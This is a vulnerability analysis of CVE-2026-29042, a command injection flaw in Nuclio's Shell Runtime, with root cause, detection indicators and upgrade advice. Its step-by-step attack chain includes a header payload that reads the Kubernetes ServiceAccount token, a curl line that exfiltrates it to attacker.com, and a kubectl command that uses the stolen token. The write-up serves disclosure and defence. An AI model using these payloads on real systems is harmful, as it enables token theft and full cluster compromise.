CVE-2026-29042: 
vulnerability analysis and mitigation

CVE-2026-29042 is an OS command injection vulnerability in Nuclio's Shell Runtime component, classified as "Nuclio Shell Runtime Command Injection Leading to Privilege Escalation." It affects all Nuclio versions up to and including 1.15.9 (fixed in 1.15.20), and was published on March 4, 2026. The vulnerability allows attackers with function invocation permissions to inject arbitrary shell commands via the X-Nuclio-Arguments HTTP header, ultimately enabling full Kubernetes cluster compromise. It carries a CVSS v3.1 base score of 9.8 (Critical) and a CVSS v4.0 base score of 8.9 (High) (GitHub Advisory, Nuclio Security Advisory).

The root cause is classified as CWE-78 (OS Command Injection) / CWE-75 (Failure to Sanitize Special Elements). In pkg/processor/runtime/shell/runtime.go, the getCommandArguments() function reads the X-Nuclio-Arguments HTTP header and splits it by spaces without any validation or escaping of shell metacharacters (;, |, &&, backticks, $()). When the function handler resolves to a command in PATH (commandInPath == true), the processEvent() function joins the resulting argument slice into a single string and passes it to exec.CommandContext(context, "sh", "-c", strings.Join(command, " ")), causing the shell to interpret injected metacharacters. The script-based execution path (commandInPath == false) was not affected, as it passes arguments as positional parameters. A detailed proof-of-concept is included in the official advisory (GitHub Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary OS commands with root privileges inside Nuclio function containers. This enables reading of sensitive files such as Kubernetes ServiceAccount tokens mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, which may carry cluster-admin level permissions. Using the stolen token, an attacker can authenticate to the Kubernetes API and achieve complete control over the entire cluster, including lateral movement to other namespaces and workloads, data exfiltration, and disruption of availability (Nuclio Security Advisory, GitHub Advisory).

A proof-of-concept exploit is publicly available as part of the official security advisory, demonstrating the full attack chain from command injection to ServiceAccount token exfiltration and Kubernetes API access (Nuclio Security Advisory). The CVSS v4.0 exploit maturity is rated "Proof of Concept." The EPSS score is approximately 0.28–0.69%, indicating a relatively low but non-negligible probability of exploitation in the wild within 30 days. There is no current evidence of active in-the-wild exploitation, and the vulnerability is not listed in the CISA KEV catalog. No specific threat actor attribution has been reported (GitHub Advisory).

1. Reconnaissance: Identify Nuclio deployments running versions ≤ 1.15.9 using network scanning tools (e.g., Shodan, Censys) or by querying Kubernetes cluster resources for Nuclio function pods.
2. Identify Shell Runtime functions: Determine which deployed Nuclio functions use the Shell Runtime with a PATH-based handler (commandInPath == true), as only this execution path is vulnerable.
3. Craft malicious HTTP request: Send an HTTP request to the target Nuclio function endpoint, injecting shell metacharacters into the X-Nuclio-Arguments header. Example payload to read the ServiceAccount token:

   X-Nuclio-Arguments: ; cat /var/run/secrets/kubernetes.io/serviceaccount/token ;

4. Achieve arbitrary code execution: The runtime concatenates the header value into a sh -c command string without sanitization, causing the injected command to execute with root privileges in the function container.
5. Exfiltrate ServiceAccount token: Retrieve the cluster-admin ServiceAccount token from the response or via an out-of-band channel (e.g., ; curl -d @/var/run/secrets/kubernetes.io/serviceaccount/token http://attacker.com/collect ;).
6. Access Kubernetes API: Use the stolen token to authenticate to the Kubernetes API server (kubectl --token=<stolen_token> get secrets --all-namespaces) and escalate to full cluster control (Nuclio Security Advisory, GitHub Advisory).

• Network: Unexpected outbound HTTP/HTTPS connections from Nuclio function pods to external IPs, particularly POST requests carrying sensitive file contents; unusual connections to the Kubernetes API server from function pod IPs.
• Logs: Nuclio function invocation logs showing X-Nuclio-Arguments header values containing shell metacharacters (;, |, &&, backticks, $()); unexpected command output (e.g., /etc/passwd contents, JWT tokens) in function response logs.
• File System: Evidence of access to /var/run/secrets/kubernetes.io/serviceaccount/token or /etc/passwd from within function containers; unexpected files written to container filesystems by the function process.
• Process: Unusual child processes spawned by the Nuclio shell runtime (e.g., cat, curl, wget, nc, bash) with arguments referencing sensitive paths or external hosts.
• Kubernetes: Unexpected API calls authenticated with function pod ServiceAccount tokens, especially get secrets, list pods, or cross-namespace operations; new RBAC bindings or ClusterRoleBindings created unexpectedly (Nuclio Security Advisory).

The primary remediation is to upgrade Nuclio to version 1.15.20 or later, which replaces the vulnerable sh -c strings.Join(command, " ") execution with exec.CommandContext(command[0], command[1:]...), passing arguments as separate OS-level process arguments so shell metacharacters are never interpreted (Nuclio Release 1.15.20, Fix Commit). As interim mitigations: restrict function invocation permissions to trusted users only; implement network segmentation to limit access to Nuclio deployments; and apply least-privilege RBAC to function pod ServiceAccounts to prevent cluster-admin token exposure. Monitor HTTP requests for X-Nuclio-Arguments headers containing shell metacharacters (GitHub Advisory).

The vulnerability was reported by researchers @b0b0haha and @j311yl0v3u and published by the Nuclio maintainer team on March 4, 2026, with a same-day patch release. The fix was reviewed and approved by multiple Nuclio core contributors (TomerShor, weilerN, liranbg) before merging (Fix PR). A technical write-up was published by Infinitsec shortly after disclosure, and the CVE was noted in the PoC-Week security digest for the week of March 16, 2026. Red Hat also tracked the vulnerability via their security advisory system (Red Hat CVE).